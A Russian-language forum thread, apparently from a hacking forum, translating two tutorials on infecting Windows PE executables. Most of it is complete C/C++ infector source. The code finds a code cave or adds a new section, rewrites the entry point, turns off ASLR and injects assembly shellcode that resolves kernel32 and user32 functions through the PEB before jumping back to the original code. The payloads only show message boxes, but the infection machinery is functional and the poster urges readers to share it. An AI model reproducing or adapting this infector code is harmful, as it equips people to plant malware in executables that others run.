Статья Детальный гайд по заражению PE

xss.is/threads/41974

Заражение PE файлов - тема, которую я всегда считал сомнительной. Изучая ее, я всегда упускал некоторые части пазла... В этой статье я попытаюсь прояснить этот вопрос и надеюсь, что она станет хорошей отправной точкой для тех, кто хочет узнать, как работают PE инфекторы.

Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.

В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.

Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке: Portable_Executable

Во-вторых, что такое ‘заражение PE файлов’?

По моему мнению, заражение PE файлов — это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).

Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов, описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:
Типичная структура PE файла выглядит так:
Code:

```
[MZ Header]
[MZ Signature]
[PE Headers]
[PE Signature]
[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]
[Section Table]
[Section 1] [Section 2] [Section n]
```

Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.

Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.

Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.

Псевдокод этого алгоритма будет выглядеть так:

- Открываем целевой файл
- Проверяем наличие сигнатур MZ и PE
- Ищем последовательность NULL байтов, от начала последней секции
- Пишем наш код в найденное свободное место
- Изменяем текущую точку входа на адрес нашего кода
- Закрываем целевой файл

Хочу обратить внимание, что сам код, который мы вставляем — это самая сложная часть заражения PE, почему вы поймете дальше.

Теперь давайте начнем реализовывать наш псевдокод…

Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.

Следующий кусок кода показывает, как это делается:
C:

```
// PE Infecter by KOrUPt @ http://KOrUPt.co.uk
// fixed for mingw by sekio
#include <windows.h>
#include <stdio.h>

// fucking gcc wont let us use __declspec(naked)
// so we have to fudge around this with assembler hacks
void realStubStart();
void realStubEnd();


void StubStart()
{

    __asm__(
        ".intel_syntax noprefix\n"            // att syntax sucks
        ".globl _realStubStart\n"
        "_realStubStart:\n\t"                  // _realStubStart is global --^

        "pusha\n\t"                           // preserve our thread context
        "call GetBasePointer\n"
"GetBasePointer:\n\t"
        "pop ebp\n\t"
        "sub ebp, offset GetBasePointer\n\t"    // delta offset trick. Think relative...

        "push 0\n\t"
        "lea eax, [ebp+szTitle]\n\t"
        "push eax\n\t"
        "lea eax, [ebp+szText]\n\t"
        "push eax\n\t"
        "push 0\n\t"
        "mov eax, 0xCCCCCCCC\n\t"
        "call eax\n\t"

        "popa\n\t"                             // restore our thread context
        "push 0xCCCCCCCC\n\t"                  // push address of orignal entrypoint(place
holder)
        "ret\n"                               // retn used as jmp

        // i dont know about you but i like GCC;'s method of strings
        // over MSVC :P
        "szTitle: .string \"o hi\"\n"
        "szText: .string \"infected by korupt\"\n"

        ".globl _realStubEnd\n"
        "_realStubEnd:\n\t"

        ".att_syntax\n" // fix so the rest of gcc doesnt burp
        );
}
```

```
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    WORD wSections;
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders +
sizeof(IMAGE_NT_HEADERS));
    for (wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++)
    {
        if (dwFileAddr >= lpSecHdr->PointerToRawData)
        {
            if (dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData))
            {
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr-
>VirtualAddress);
                return dwFileAddr;
            }
        }

        lpSecHdr++;
    }

    return NULL;
}

int main(int argc, char* argv[])
{
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
    HANDLE hFile, hFileMap;
    HMODULE hUser32;
    LPBYTE hMap;

    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;

// work out stub size
    DWORD start = (DWORD)realStubStart;
    DWORD end = (DWORD)realStubEnd;
    DWORD stubLength = (end - start);

    if (argc != 2)
    {
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }

// map file
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ |
```

```
FILE_SHARE_WRITE,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }

    fsize = GetFileSize(hFile, 0);
    if (!fsize)
    {
        printf("[-] Could not get files size\n");
        CloseHandle(hFile);
        return 0;
    }

    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if (!hFileMap)
    {
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }

    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if (!hMap)
    {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }

// check signatures
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }

    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        printf("[-] NT signature not found\n");
        goto cleanup;
    }


    // korupt you need to tdo this more often fuck argh
    if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
```

```
    {
        printf("[-] Not an i386 executable\n");
        goto cleanup;
    }

// get last section's header...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
    pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);

// save entrypoint
    oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

// locate free space
    i = pSection->PointerToRawData;
    for (; i != fsize; i++)
    {
        if ((char *)hMap[i] == 0x00)
        {
            if (charcounter++ == stubLength + 24)
            {
                printf("[+] Code cave located @ 0x%08lX\n", i);
                writeOffset = i;
            }
        }
        else charcounter = 0;
    }

    if (charcounter == 0 || writeOffset == 0)
    {
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }

    writeOffset -= stubLength;

    stub = (unsigned char *)malloc(stubLength + 1);
    if (!stub)
    {
        printf("[-] Error allocating sufficent memory for code\n");
        goto cleanup;
    }

// copy stub into a buffer
    memcpy(stub, realStubStart, stubLength);

// locate offsets of place holders in code
    for (i = 0, charcounter = 0; i != stubLength; i++)
    {
```

```
        if (stub[i] == 0xCC)
        {
            charcounter++;
            if (charcounter == 4 && callOffset == 0)
                callOffset = i - 3;
            else if (charcounter == 4 && oepOffset == 0)
                oepOffset = i - 3;
        }
        else charcounter = 0;
    }

// check they're valid
    if (oepOffset == 0 || callOffset == 0)
    {
        free(stub);
        goto cleanup;
    }

    hUser32 = LoadLibrary("User32.dll");
    if (!hUser32)
    {
        free(stub);
        printf("[-] Could not load User32.dll");
        goto cleanup;
    }

// fill in place holders
    *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
    *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
    FreeLibrary(hUser32);

// write stub
    memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

// set entrypoint
    pNtHeaders->OptionalHeader.AddressOfEntryPoint =
        FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;

// set section size
    pSection->Misc.VirtualSize += stubLength;
    pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_EXECUTE;

// cleanup
    printf("[+] Stub written!!\n[*] Cleaning up\n");
    free(stub);

cleanup:
    FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
```

```
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}
```

Код выше объясняет всю суть способа...

Автор метода - **KOrUPt** http://korupt.co.uk
автор перевода https://www.orderofsixangles.com/translations/2020/06/09/detailed-guide-to-pe-infection.html

tabac

CPU register

Пользователь

Joined
Sep 30, 2018

Messages
1,416

Solutions
1

Reaction score
2,837

Еще один детальный гайд по заражению PE

Сегодня я хочу вам объяснить подробно, что такое заражение PE. Тема довольна сложная, но в конце концов интересная!

Требования, чтобы понять это руководство:

- Отличные знания о PE
- Хорошее знание языка ассемблера
- Хорошее знание работы памяти, указателей и файловых операций
- Терпение

Начнем!
Для начала мы добавим новую, пустую PE секцию. Получив путь к файлу, мы полностью его читаем, проверяем DOS сигнатуру, чтобы убедиться в валидности PE, проверяем, является ли он исполняемым x86 файлом (это очень важно, так как мы будем внедрять x86 опкоды в пустую секцию), проверяем, существует ли уже секция, которую мы хотим создать, и если все проверки пройдены - мы создаем новую секцию, с заданным размером и характеристиками. Код, который найдете далее, прокомментирован и хорошо объясняет происходящее.

Все это делается функцией `AddSection`. Стоит отметить, что метод описанный здесь использует файл на диске, без маппинга его в память и производит чтение/запись там же. Он также сильно опирается на файловые указатели.

Вторая и самая сложная часть - это добавление кода в только что созданную секцию. Чтобы доказать работоспособность этого метода, я делаю следующее:

1. Добавляю новую секцию
2. Берем и сохраняем адрес оригинальной точки входа из `Optional Header` (это адрес, откуда программа начинает работу)
3. Меняем OEP (оригинальную точку входа), чтобы она указывала на нашу новую секцию, поэтому когда пользователь запустит программу, она начнет выполнять наш код и делать все что мы захотим ДО того, как начнется выполнение оригинального кода, потом идет возврат к оригинальной точке входа и программа работает, как ни в чем небывало! В данном конкретном случае, я показываю всплывающее окно с надписью “Hacked”!

ВАЖНО!
Так как `kernel32` загружается каждый раз при перезагрузке по разным адресам, нам надо ДИНАМИЧЕСКИ получать ее базовый адрес из `PEB`, чтобы мы могли найти функцию в таблице экспорта под названием `LoadLibraryA`, вызвать ее с аргументом "`user32.dll`", и потом достать адрес функции `MessageBoxA` из `user32.dll`, используя `GetProcAddress`. ВСЕ ЭТО ДОЛЖНО БЫТЬ СДЕЛАНО ВНУТРИ НОВОЙ PE СЕКЦИИ, КОТОРУЮ МЫ СОЗДАЛИ !!!

Каким образом мы можем это сделать? Нам надо получить опкоды из кода ассемблерных вставок и затем скопировать их в новую секцию.

Это можно сделать с помощью шикарного кода, написанного wap2k, который я называю self-read (self-read означает, что код сам вычисляет смещение секции по середине. Далее я просто буду использовать словосочетание self-read - прим. пер.):
Code:

```
DWORD start(0), end(0);
    __asm{
        mov eax, loc1
        mov[start], eax
        //we jump over the second __asm,so we dont execute it in the infector itself
        jmp over
        loc1:
    }

    __asm{
        //the opcode we want to create and copy to the new section
    }

    __asm{
        over:
        mov eax, loc2
        mov [end],eax
        loc2:
    }
```

Мы создаем две метки в коде. Одна указывает на начало секции с опкодами, другая на конец. Вторая ассемблерная вставка (___asm в середине) - это что нас интересует. Когда мы отнимаем адрес конца от адреса начала - мы получаем смещение, по которому мы должны скопировать подходящий код (в середине), без копирования остальных опкодов, чтобы не нарушить целостность внедряемого кода.

Мы перепрыгиваем код в середине, чтобы не исполнять его при заражении, используя инструкцию jmp (jmp на метку " `over` ").

Теперь, внутри секции в середине, мы ищем базовый адрес `kernel32.dll` , ищем функции `LoadLibraryA` и `GetProcAddress` для получения адреса MessageBoxA и вызова его с нужным текстом!

После того, как мы нашли и вызвали эти функции (вызов и поиск производится зараженным PE, надеюсь вы это уже поняли), нам надо прыгнуть назад к оригинальному коду программы (входной точке)!

Так как значение OEP (оригинальная точка входа) хранится в переменной внутри кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код заполнит недействительный адрес, так как мы укажем на то, что существует только здесь, а не на секцию данных зараженной программы. Решение: мы поместим заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.

Мы будем перезаписывать заглушку вот так:
C++:

```
if (*invalidEP == 0xdeadbeef){
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
            *invalidEP = OEP;
        }
```

Код прокомментирован, но я буду подробно объяснять проблемные участки! Я сейчас на работе и писал это руководство быстро, как только мог, поэтому буду рассказывать подробно !!!

Вот сам код:
C++:

```
#include <windows.h>
#include <imagehlp.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "imagehlp")

DWORD align(DWORD size, DWORD align, DWORD addr){
    if (!(size % align))
        return addr + size;
    return addr + (size / align + 1) * align;
}

int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){

    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (file == INVALID_HANDLE_VALUE){
        CloseHandle(file);
        return 0;
    }
    DWORD fileSize = GetFileSize(file, NULL);
    if (!fileSize){
        CloseHandle(file);
        // пустой файл, что делает его недействительным
        return -1;
    }
    // теперь мы знаем сколько памяти нам надо для буфера
    BYTE *pByte = new BYTE[fileSize];
    DWORD dw;
    // читаем весь файл, чтобы получить доступ к информации о PE
    ReadFile(file, pByte, fileSize, &dw, NULL);

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE){
        CloseHandle(file);
        return -1; // невалидный PE
    }
    PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
    if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
        CloseHandle(file);
        return -3;// 64 битный файл
    }
    PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
    WORD sCount = NT->FileHeader.NumberOfSections;

    // проходим по всем доступным секциям и смотрим,
    // существует ли уже та, которую мы хотим добавить
    for (int i = 0; i < sCount; i++){
        PIMAGE_SECTION_HEADER x = SH + i;
        if (!strcmp((char *)x->Name, sectionName)){
```

```
            //PE секция уже существует
            CloseHandle(file);
            return -2;
        }
    }

    ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
    CopyMemory(&SH[sCount].Name, sectionName, 8);
    // Мы используем 8 байт для имени секции, потому что это максимально разрешенная длина

    // вставляем всю необходимую информацию о нашей новой PE секции
    SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment,
0);

    SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize,
         NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);

    SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0);

    SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData,
        NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);

    SH[sCount].Characteristics = 0xE00000E0;

    /*
    0xE00000E0 = IMAGE_SCN_MEM_WRITE |
                 IMAGE_SCN_CNT_CODE  |
                 IMAGE_SCN_CNT_UNINITIALIZED_DATA  |
                 IMAGE_SCN_MEM_EXECUTE |
                 IMAGE_SCN_CNT_INITIALIZED_DATA |
                 IMAGE_SCN_MEM_READ
    */

    SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL,
FILE_BEGIN);
    // устанавливаем конец файла на последнюю секции + размер файла
    SetEndOfFile(file);
    // теперь меняем размер образа, чтобы он соответствовал нашим модификациям,
    // добавлением новой секции. Размер теперь стал больше
    NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize;
    // так как мы добавляем новую секцию, то меняем их количество
    NT->FileHeader.NumberOfSections += 1;
    SetFilePointer(file, 0, NULL, FILE_BEGIN);
    // и в конечном итоге записываем результат наших модификаций в файл
    WriteFile(file, pByte, fileSize, &dw, NULL);
    CloseHandle(file);
    return 1;
}

bool AddCode(char *filepath){
    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE,
```

```
     0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (file == INVALID_HANDLE_VALUE){
    CloseHandle(file);
    return false;
}
DWORD filesize = GetFileSize(file, NULL);
BYTE *pByte = new BYTE[filesize];
DWORD dw;
ReadFile(file, pByte, filesize, &dw, NULL);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);

// ОЧЕНЬ ВАЖНО
// ЕСЛИ ВКЛЮЧЕН ASLR - ЭТО РАБОТАТЬ НЕ БУДЕТ !!!
// Решение: Отключайте ASLR =))
nt->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;

// так как мы добавили новую секцию, она будет последней
// поэтому мы должны добраться до последней секции и вставить наши секретные данные :)
PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);

SetFilePointer(file, 0, 0, FILE_BEGIN);
//сохраняем оригинальную точку входа
DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;

// мы меняем оригинальную точку входа на адрес последней секции
nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
WriteFile(file, pByte, filesize, &dw, 0);

// получаем опкоды
DWORD start(0), end(0);
__asm{
    mov eax, loc1
    mov[start], eax
    //мы пропускаем вторую ассемблерную вставку (__asm)
    //чтобы не исполнять ее в самом коде инфектора
    jmp over
    loc1:
}

__asm{
    /*
        Смысл этого куска кода в чтении базового адреса kernel32.dll
        из PED, просмотр таблицы экспорта (EAT) и поиск функций
    */
    mov eax, fs:[30h]
    mov eax, [eax + 0x0c]; 12
    mov eax, [eax + 0x14]; 20
    mov eax, [eax]
```

```
mov eax, [eax]
mov eax, [eax + 0x10]; 16

mov   ebx, eax; // Берем базовый адрес kernel32
mov   eax, [ebx + 0x3c]; // VMA заголовка PE
//(virtual memory address - адрес виртуальной памяти - прим.пер.)
mov   edi, [ebx + eax + 0x78]; // Относительное смещение таблицы экспорта
add   edi, ebx; // VMA таблицы экспорта
mov   ecx, [edi + 0x18]; // количество имен

mov   edx, [edi + 0x20]; // Относительное смещение таблицы имен
add   edx, ebx; // VMA таблицы имен
// теперь давайте посмотрим на функцию LoadLibraryA

LLA :
dec ecx
    mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
    add esi, ebx; //Устанавливаем в esi - VMA текущего имени
    cmp dword ptr[esi], 0x64616f4c; //обратный порядок байт L(4c)o(6f)a(61)d(64)
    je LLALOOP1
LLALOOP1 :
cmp dword ptr[esi + 4], 0x7262694c
    ;L(4c)i(69)b(62)r(72)
    je LLALOOP2
LLALOOP2 :
cmp dword ptr[esi + 8], 0x41797261; //третье слово = a(61)r(72)y(79)A(41)
    je stop; //прыгаем на метку stop, потому что мы нашли его
    jmp LLA; //Load Libr aryA
stop :
mov   edx, [edi + 0x24];  // Таблица относительных порядковых номеров функций
    add   edx, ebx; //Таблица порядковых номеров функций
    mov   cx, [edx + 2 * ecx];// порядковый номер функции
    mov   edx, [edi + 0x1c];// Таблица относительных адресов смещений
    add   edx, ebx;// Таблица адресов
    mov   eax, [edx + 4 * ecx]; //смещение порядкового номера
    add   eax, ebx; // VMA функции
    // теперь EAX содержит адрес LoadLibraryA


    sub esp, 11
    mov ebx, esp
    mov byte ptr[ebx], 0x75; u
    mov byte ptr[ebx + 1], 0x73; s
    mov byte ptr[ebx + 2], 0x65; e
    mov byte ptr[ebx + 3], 0x72; r
    mov byte ptr[ebx + 4], 0x33; 3
    mov byte ptr[ebx + 5], 0x32; 2
    mov byte ptr[ebx + 6], 0x2e; .
    mov byte ptr[ebx + 7], 0x64; d
    mov byte ptr[ebx + 8], 0x6c; l
    mov byte ptr[ebx + 9], 0x6c; l
```

```
            mov byte ptr[ebx + 10], 0x0

            push ebx

            //вызываем LoadLibraryA с аргументом user32.dll
            call eax;
            add esp, 11
            //сохраняем адрес возврата LoadLibraryA для последующего использования в
GetProcAddress
            push eax


            // снова ищем функцию GetProcAddress
            mov eax, fs:[30h]
            mov eax, [eax + 0x0c]; 12
            mov eax, [eax + 0x14]; 20
            mov eax, [eax]
            mov eax, [eax]
            mov eax, [eax + 0x10]; 16

            mov   ebx, eax; //базовый адрес kernel32
            mov   eax, [ebx + 0x3c]; //VMA заголовка PE
            mov   edi, [ebx + eax + 0x78]; //Относительное смещение таблицы экспорта
            add   edi, ebx; //VMA таблицы экспорта
            mov   ecx, [edi + 0x18]; //Количество имен

            mov   edx, [edi + 0x20]; //Относительное смещение таблицы имен
            add   edx, ebx; //VMA таблицы имен
        GPA :
        dec ecx
            mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
            add esi, ebx; //Устанавливаем в esi - VMA текущего имени
            cmp dword ptr[esi], 0x50746547; //обратный порядок байт G(47)e(65)t(74)P(50)
            je GPALOOP1
        GPALOOP1 :
        cmp dword ptr[esi + 4], 0x41636f72
            // помните про обратный порядок : ) r(72)o(6f)c(63)A(41)
            je GPALOOP2
        GPALOOP2 :
        cmp dword ptr[esi + 8], 0x65726464; //третье слово = d(64)d(64)r(72)e(65)
            // нет необходимости искать далее,
            // так как больше нет функций, начинающихся с GetProcAddre
            je stp; //если нашли, то прыгаем на метку stp
            jmp GPA
        stp :
            mov   edx, [edi + 0x24]; //Таблица относительных порядковых номеров функций
            add   edx, ebx; //Таблица порядковых номеров функций
            mov   cx, [edx + 2 * ecx]; //порядковый номер функции
            mov   edx, [edi + 0x1c]; //Таблица относительных адресов смещений
            add   edx, ebx; //Таблица адресов
            mov   eax, [edx + 4 * ecx]; //смещение порядкового номера
```

```
        add   eax, ebx;  //VMA функции
        // теперь EAX содержит адрес GetProcAddress
        mov esi, eax

        sub esp, 12
        mov ebx, esp
        mov byte ptr[ebx], 0x4d //M
        mov byte ptr[ebx + 1], 0x65 //e
        mov byte ptr[ebx + 2], 0x73 //s
        mov byte ptr[ebx + 3], 0x73 //s
        mov byte ptr[ebx + 4], 0x61 //a
        mov byte ptr[ebx + 5], 0x67 //g
        mov byte ptr[ebx + 6], 0x65 //e
        mov byte ptr[ebx + 7], 0x42 //B
        mov byte ptr[ebx + 8], 0x6f //o
        mov byte ptr[ebx + 9], 0x78 //x
        mov byte ptr[ebx + 10], 0x41 //A
        mov byte ptr[ebx + 11], 0x0

        /*
            Достаем значение, сохраненное после возврата LoadLibraryA
            Вызов GetProcAddress выглядит так:
            esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"})
        */

        mov eax, [esp + 12]
        push ebx; //MessageBoxA
        push eax; //базовый адрес user32.dll, который получили с помощью LoadLibraryA
        call esi; //адрес GetProcAddress :))
        add esp, 12

    sub esp, 8
    mov ebx,esp
    mov byte ptr[ebx], 72; //H
    mov byte ptr[ebx + 1], 97; //a
    mov byte ptr[ebx + 2], 99; //c
    mov byte ptr[ebx + 3], 107; //k
    mov byte ptr[ebx + 4], 101; //e
    mov byte ptr[ebx + 5], 100; //d
    mov byte ptr[ebx + 6], 0

    push 0
    push 0
    push ebx
    push 0
    call eax
    add esp, 8

    mov eax, 0xdeadbeef ; //Оригинальная точка входа
    jmp eax
}
```

```
    __asm{
        over:
        mov eax, loc2
        mov [end],eax
        loc2:
    }

    byte mac[1000];
    byte *fb = ((byte *)(start));
    DWORD *invalidEP;
    DWORD i = 0;

    while (i < ((end - 11) - start)){
        invalidEP = ((DWORD*)((byte*)start + i));
        if (*invalidEP == 0xdeadbeef){
            /*
                Так как значение OEP (оригинальная точка входа) хранится в переменной внутри
                кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код
                заполнит недействительный адрес, так как мы укажем на то, что существует
только
                здесь, а не на раздел данных зараженной программы. Решение: мы поместим
                заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.
            */
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
            *invalidEP = OEP;
        }
        mac[i] = fb[i];
        i++;
    }
    SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
    WriteFile(file, mac, i, &dw, 0);
    CloseHandle(file);
    return true;
}

void main(){
    char *file = "C:\\Users\\M\\Desktop\\Athena.exe";
    int res = AddSection(file, ".ATH", 400);
    switch (res){
    case 0:
        printf("Error adding section: File not found or in use!\n");
        break;
    case 1:
        printf("Section added!\n");
        if (AddCode(file))
            printf("Code written!\n");
        else
            printf("Error writting code!\n");
        break;
```

```
    case -1:
        printf("Error adding section: Invalid path or PE format!\n");
        break;
    case -2:
        printf("Error adding section: Section already exists!\n");
        break;
    case -3:
        printf("Error: x64 PE detected! This version works only with x86 PE's!\n");
        break;
    }
}
```

Пробуйте, улучшайте, делайте свое и самое главное: ДЕЛИТЕСЬ ЭТИМ С ДРУГИМИ! Счастливого кодинга!